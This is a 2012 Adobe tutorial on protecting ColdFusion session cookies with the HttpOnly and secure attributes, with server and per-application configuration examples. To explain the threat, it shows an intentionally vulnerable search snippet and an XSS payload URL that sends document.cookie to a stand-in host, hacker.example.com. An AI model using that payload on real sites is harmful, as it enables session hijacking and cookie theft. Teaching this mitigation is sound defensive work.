Adobe
Products

Top destinations

  • Adobe Creative Cloud
  • Creative Suite
  • Adobe Marketing Cloud
  • Acrobat
  • Photoshop
  • SiteCatalyst
  • Students
  • Elements family

Adobe Creative Cloud

  • What is Adobe Creative Cloud?
  • Design
  • Web
  • Photography
  • Video
  • Students
  • Teams
  • Enterprise
  • Educational institutions

Design and photography

  • Photoshop
  • Illustrator
  • InDesign
  • Adobe Muse
  • Lightroom

Video

  • Adobe Premiere
  • After Effects

Web development and HTML5

  • Edge Tools & Services [opens in a new window]
  • Dreamweaver
  • Gaming [opens in a new window]

Adobe Marketing Cloud

  • What is Adobe Marketing Cloud?
  • Digital analytics
  • Social marketing
  • Web experience management
  • Testing and targeting
  • Media optimization

Analytics

  • SiteCatalyst
  • Adobe Discover
  • Insight

Social

  • Adobe Social

Experience Manager

  • CQ
  • Scene7

Target

  • Test&Target
  • Recommendations
  • Search&Promote

Media Optimizer

  • AdLens
  • AudienceManager
  • AudienceResearch

Document services

  • Acrobat
  • EchoSign [opens in a new window]
  • FormsCentral [opens in a new window]
  • SendNow [opens in a new window]
  • Acrobat.com [opens in a new window]

Publishing

  • Digital Publishing Suite

  • See all products
Business solutions

By business need

  • Digital analytics
  • Digital publishing
  • Document management
  • Media optimization
  • Social marketing
  • Testing and targeting
  • Video editing and serving
  • Web development [opens in a new window]
  • Web experience management
  • See all business needs

By industry

  • Broadcast
  • Education
  • Financial services
  • Government
  • Publishing
  • Retail
  • See all industries
Support & Learning

I need help

  • Products
  • Adobe Creative Cloud
  • Adobe Marketing Cloud
  • Forums [opens in a new window]

I want to learn

  • Training and tutorials
  • Certification [opens in a new window]
  • Adobe Developer Connection
  • Adobe Design Center
  • Adobe TV [opens in a new window]
  • Adobe Marketing Center
  • Adobe Labs [opens in a new window]
Download
  • Product trials
  • Adobe Flash Player
  • Adobe Reader
  • Adobe AIR
  • See all downloads
Company
  • Careers at Adobe
  • Investor Relations
  • Newsroom
  • Privacy
  • Corporate Social Responsibility
  • Customer Showcase
  • Contact us
  • More company info
Buy
  • For personal and professional use
  • For students, educators, and staff
  • For small and medium businesses
  • Volume Licensing
  • Special offers
  • Adobe Marketing Cloud sales [opens in a new window]
Search
 
Info Sign in
Why sign in? Sign in to manage your account and access trial downloads, product extensions, community areas, and more.
Welcome,
My Adobe
My orders
My information
My preferences
My products and services
Sign out
My cart
Privacy My Adobe
Adobe
Products Sections Buy   Search  
Solutions Company
Help Learning
Sign in Sign out Privacy My Adobe
Preorder Estimated Availability Date. Your credit card will not be charged until the product is shipped. Estimated availability date is subject to change. Preorder Estimated Availability Date. Your credit card will not be charged until the product is ready to download. Estimated availability date is subject to change.
Qty:
Purchase requires verification of academic eligibility
Subtotal
Promotions
Estimated shipping
Tax
Calculated at checkout
Total
Review and Checkout
Adobe Developer Connection / ColdFusion Developer Center /

Securing your applications using HttpOnly cookies with ColdFusion

by Pete Freitag

Pete Freitag
  • foundeo.com

Content

  • What are HttpOnly cookies?
  • Creating HTTPOnly cookies with ColdFusion 9
  • Browser support for HttpOnly
  • HttpOnly session cookies
  • Where to go from here

Created

9 January 2012

Page tools

Share on Facebook
Share on Twitter
Share on LinkedIn
Bookmark
Print
ColdFusionconfigurationdistributionsecurityservices
Was this helpful?
Yes   No

By clicking Submit, you accept the Adobe Terms of Use.

 
Thanks for your feedback.

Requirements

Prerequisite knowledge

Those using this tutorial should have beginner knowledge of ColdFusion, and a basic understanding of cookies.

User level

Intermediate

Required products

  • ColdFusion (Download trial)

Cookies are a critical component to most ColdFusion web applications. Some cookies such as session identifier cookies (CFID, CFTOKEN, or JSESSIONID) contain sensitive information. If an attacker is able to read an end-user's session identifier cookies, he can impersonate the end-user (this is also known as session hijacking).

In this article, you'll learn about HttpOnly cookies, why they are important, and how you can leverage them to improve the security of your ColdFusion applications.

What are HttpOnly cookies?

When the HttpOnly attribute is present in a Set-Cookie HTTP response header from the server, the browser (if it supports the httponly attribute) will prevent non HTTP APIs, such as JavaScript, from reading the cookie value or writing values to these cookies.

Now, let's assume that your site has a cross-site scripting (XSS) vulnerability, which allows an attacker to execute arbitrary client-side code on your domain. In this case, your code might look like this:

<cfif NOT searchResults.recordcount> <cfoutput>Sorry no items matched your search: #url.query#</cfoutput> </cfif>

An attacker may now attempt to use this XSS hole to hijack sessions by sending your users to a uri like the following one:

/search.cfm?query=<script>document.location='http://hacker.example.com/log-cookies.cfm?'+document.cookie</script>

Any cookies that you create with the httponly attribute will not be present in JavaScript's document.cookie variable on browsers where HttpOnly is supported. Browsers will still send HttpOnly cookies when making AJAX calls or XMLHttpRequest calls, however their values still cannot be accessed from your JavaScript code.

On browsers that don't recognize HttpOnly cookies, the cookie values will still be accessible in JavaScript's document.cookie variable. You'll be reading more about browser support in the next sections.

As you will see it's really quite simple to turn an existing cookie into an HttpOnly cookie. You can add this extra layer of protection to most of your applications in a very small amount of time.

Creating HTTPOnly cookies with ColdFusion 9

As of ColdFusion 9.0, you can use the httponly attribute in the cfcookie tag which accepts a boolean value, for example:

<cfcookie name="example" value="secret" httponly="true">

The above code results in the server writing a HTTP response header that looks like the following:

Set-Cookie: EXAMPLE=secret; HttpOnly;path=/

Browser support for HttpOnly

Support for the HttpOnly cookie attribute has existed as far back as 2002 when Microsoft pioneered it in Internet Explorer 6 SP1. Five long years later, Firefox 2.0.0.5 was the first version to support HttpOnly in 2007. Safari and Chrome have followed suit, and support HttpOnly as well. The HttpOnly cookie attribute is defined in the RFC 6265 published in April 2011, currently in proposed standard status.

It's worth noting that some early implementations of HttpOnly support in browsers failed to prevent overwriting of HttpOnly cookies in JavaScript. This omission provides a vehicle for attack vectors such as session fixation among others. Early implementations of HttpOnly support in some browsers, for example Firefox 2, failed to restrict access to HttpOnly cookies when making an XMLHttpRequest with JavaScript. By making an XMLHttpRequest (or AJAX) call, the attacker can read the value of the cookie in a Set-Cookie HTTP response header on such browsers.

What if the browser doesn't support HttpOnly?

You now know that when a browser fully supports HttpOnly cookies it will restrict access to reading and writing its values in non-http API's such as JavaScript. You may however be wondering what happens when a browser does not support HttpOnly–thankfully, such browsers simply ignore the HttpOnly attribute. This means that you can add HttpOnly to your cookies without causing problems in older browsers. Those cookies read by a modern browser get the protection of HttpOnly, those that do not work as if HttpOnly were omitted.

When should you use HttpOnly cookies?

The security rule: "principle of least privilege" suggests that you make your cookies HttpOnly whenever it is possible for you to do so. Thus, I recommend that any cookie that you set through the cfcookie tag use the httponly attribute, unless it is absolutely necessary that it be read by JavaScript.

If you must access a cookie from JavaScript, it may not be marked HttpOnly. Keep in mind the security ramifications of this, and avoid use of sensitive cookies within JavaScript.

What about Secure Cookies?

The secure cookie attribute instructs the browser to only transmit the cookie when a secure connection (for example a HTTPS/SSL connection) is present. If your web application supports or requires SSL, you may want to use the secure cookie attribute to further improve security. ColdFusion has supported the secure attribute on the cfcookie since ColdFusion 3, and possibly earlier.

When secure session cookies are enabled your web application will only maintain sessions when HTTPS is used. When HTTPS is not used a new session will be created on each request.

HttpOnly session cookies

Because session cookies contain very sensitive information, they are a prime candidate for adding the httponly attribute. Below, I describe two common approaches to making your ColdFusion session cookies HttpOnly.

Enabling server-wide HttpOnly session cookies

The ColdFusion 9.0.1 update added a server-wide setting to add the httponly attribute to all session cookies created by ColdFusion (such as the CFID and CFTOKEN cookies, or the JSESSIONID cookie on JRun). To enable this setting, if you are running a JRun J2EE installation or multi-server installation, you must edit jvm.config, otherwise you can enable this setting from the CF Administrator. If you are running a J2EE server other than JRun consult your documentation for an appropriate setting. J2EE servers that support the Servlet 3.0 specification can specify <session-config><cookie-config><http-only>true</http-only></cookie-config></session-config> in the /WEB-INF/web.xml file.

To enable this setting in a JRun J2EE installation or multi-server installation, you must define the following Java system property coldfusion.sessioncookie.httponly and set it to true . You can define Java system properties when the JVM is loaded by adding the following line:

-Dcoldfusion.sessioncookie.httponly=true

If you have installed ColdFusion in J2EE or multi-server mode, system properties must be defined by editing the jvm.config file which is located in the bin directory under your JRun root directory in a default configuration.

If you are running ColdFusion Standard Edition, or Enterprise in stand-alone mode, you can enable this setting by defining the property in the ColdFusion administrator by following these steps:

  1. Log on to ColdFusion Administrator.
  2. Under Server Settings click Java and JVM.
  3. Append the following line -Dcoldfusion.sessioncookie.httponly=true to the text box labeled JVM Arguments.
  4. Restart ColdFusion server.

This approach makes it easy to add the httponly attribute to session cookies in ColdFusion. If you use SSL you may want your session cookies to also use the secure attribute. ColdFusion does not provide a mechanism to enable the secure attribute on session cookies, however JRun, and other servlet containers (such as Tomcat) do provide a such a mechanism. This requires that J2EE sessions are enabled in the ColdFusion administrator. To enable secure session cookies on JRun you must add <cookie-secure>true</cookie-secure> to the jrun-web.xml file:

<jrun-web-app> <session-config> <cookie-config> <active>true</active> <cookie-secure>true</cookie-secure> </cookie-config> </session-config> </jrun-web-app>

You must restart ColdFusion / JRun for this change to be picked up.

Support for setting HttpOnly on a JSESSIONID cookie may vary if you are using a J2EE server other than JRun. Tomcat and JBoss require a native approach to set the HttpOnly attribute, this approach and the following approach may not work on all J2EE servers..

Enabling HttpOnly session cookies per Application

You may be in a scenario where the server wide HttpOnly setting is not enabled, or prefer to control exactly how session identifier cookies are created on a per Application basis. Please note however that the following approach does not work when J2EE sessions are enabled.

The ColdFusion Application setting setClientCookies when set to false prevents ColdFusion from automatically writing the session identifier cookies on session start. You can take advantage of that and write the cookies on your own in your onSessionStart function. In the following Application.cfc example, the following code creates HttpOnly cookies for the CFID and CFTOKEN session cookies:

<cfcomponent> <cfset this.sessionmanagement = true> <cfset this.setclientcookies = false> <cffunction name="onSessionStart"> <cfcookie name="CFID" value="#session.cfid#" httponly="true"> <cfcookie name="CFTOKEN" value="#session.cftoken#" httponly="true"> </cffunction> <cfcomponent>

One advantage of this approach is that you can also control the expiration of the session cookies. In other words, in the above example, in the cfcookie tags, I have ommited the expires attribute, which means that the cookies will expire when the end user closes the browser.

You can also use this technique on versions of ColdFusion prior to 9 but since cfcookie doesn't support HttpOnly on prior versions, you must write the cookies by writing a Set-Cookie header with cfheader .

Where to go from here

You should now have an understanding of what HttpOnly cookies are and why you should start using them. The added support for HttpOnly in ColdFusion 9 makes enabling using HttpOnly cookies much easier than with prior versions.

See the following resources for more information about HttpOnly cookies:

  • Open Web Application Security Project resource for HttpOnly cookies
  • My Blog on this topic, Setting up HTTPOnly Session Cookies for ColdFusion
  • RFC 6265 Specification for HttpOnly cookies

Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.

More Like This

  • Taking advantage of 64-bit support in ColdFusion 8
  • Setting up your ColdFusion development environment for Windows
  • Using ColdFusion Ajax security features
  • Enabling multiple user access to the ColdFusion Administrator and RDS
  • Creating engaging applications with ColdFusion 8 for the government
  • Reinventing SOA in Adobe ColdFusion 9 and ColdFusion Builder
  • ColdFusion 8 server monitoring – Part 1: Using the Server Monitor in development
  • ColdFusion 8 server monitoring – Part 2: Using the Server Monitor in production
  • ColdFusion 8 server monitoring – Part 4: Multiserver Monitor, Admin API monitoring, and more
  • ColdFusion 9 exposed as Flex services

Tutorials & Samples

Tutorials

  • Getting started with Adobe ColdFusion 10 on Cloud
  • Getting ready to develop with ColdFusion
  • Using Axis2 web services with ColdFusion 10

Samples

Products

  • Adobe Creative Cloud
  • Creative Suite
  • Adobe Marketing Cloud
  • Acrobat
  • Photoshop
  • Digital Publishing Suite
  • Elements family
  • SiteCatalyst
  • For education

Download

  • Product trials
  • Adobe Reader
  • Adobe Flash Player
  • Adobe AIR

Support & Learning

  • Product help
  • Forums

Buy

  • For personal and professional use
  • For students, educators, and staff
  • For small and medium businesses
  • Volume Licensing
  • Special offers

Company

  • News room
  • Partner programs
  • Corporate social responsibility
  • Career opportunities
  • Investor Relations
  • Events
  • Legal
  • Security
  • Contact Adobe
Choose your region United States (Change)
Choose your region Close

North America

Europe, Middle East and Africa

Asia Pacific

  • Canada - English
  • Canada - Français
  • Latinoamérica
  • México
  • United States

South America

  • Brasil
  • Africa - English
  • Österreich - Deutsch
  • Belgium - English
  • Belgique - Français
  • België - Nederlands
  • България
  • Hrvatska
  • Česká republika
  • Danmark
  • Eastern Europe - English
  • Eesti
  • Suomi
  • France
  • Deutschland
  • Magyarország
  • Ireland
  • Israel - English
  • ישראל - עברית
  • Italia
  • Latvija
  • Lietuva
  • Luxembourg - Deutsch
  • Luxembourg - English
  • Luxembourg - Français
  • الشرق الأوسط وشمال أفريقيا - اللغة العربية
  • Middle East and North Africa - English
  • Moyen-Orient et Afrique du Nord - Français
  • Nederland
  • Norge
  • Polska
  • Portugal
  • România
  • Россия
  • Srbija
  • Slovensko
  • Slovenija
  • España
  • Sverige
  • Schweiz - Deutsch
  • Suisse - Français
  • Svizzera - Italiano
  • Türkiye
  • Україна
  • United Kingdom
  • Australia
  • 中国
  • 中國香港特別行政區
  • Hong Kong S.A.R. of China
  • India - English
  • 日本
  • 한국
  • New Zealand
  • 台灣

Southeast Asia

  • Includes Indonesia, Malaysia, Philippines, Singapore, Thailand, and Vietnam - English

Copyright © 2013 Adobe Systems Incorporated. All rights reserved.

Terms of Use | Privacy | Cookies

Ad Choices

Reviewed by TRUSTe: site privacy statement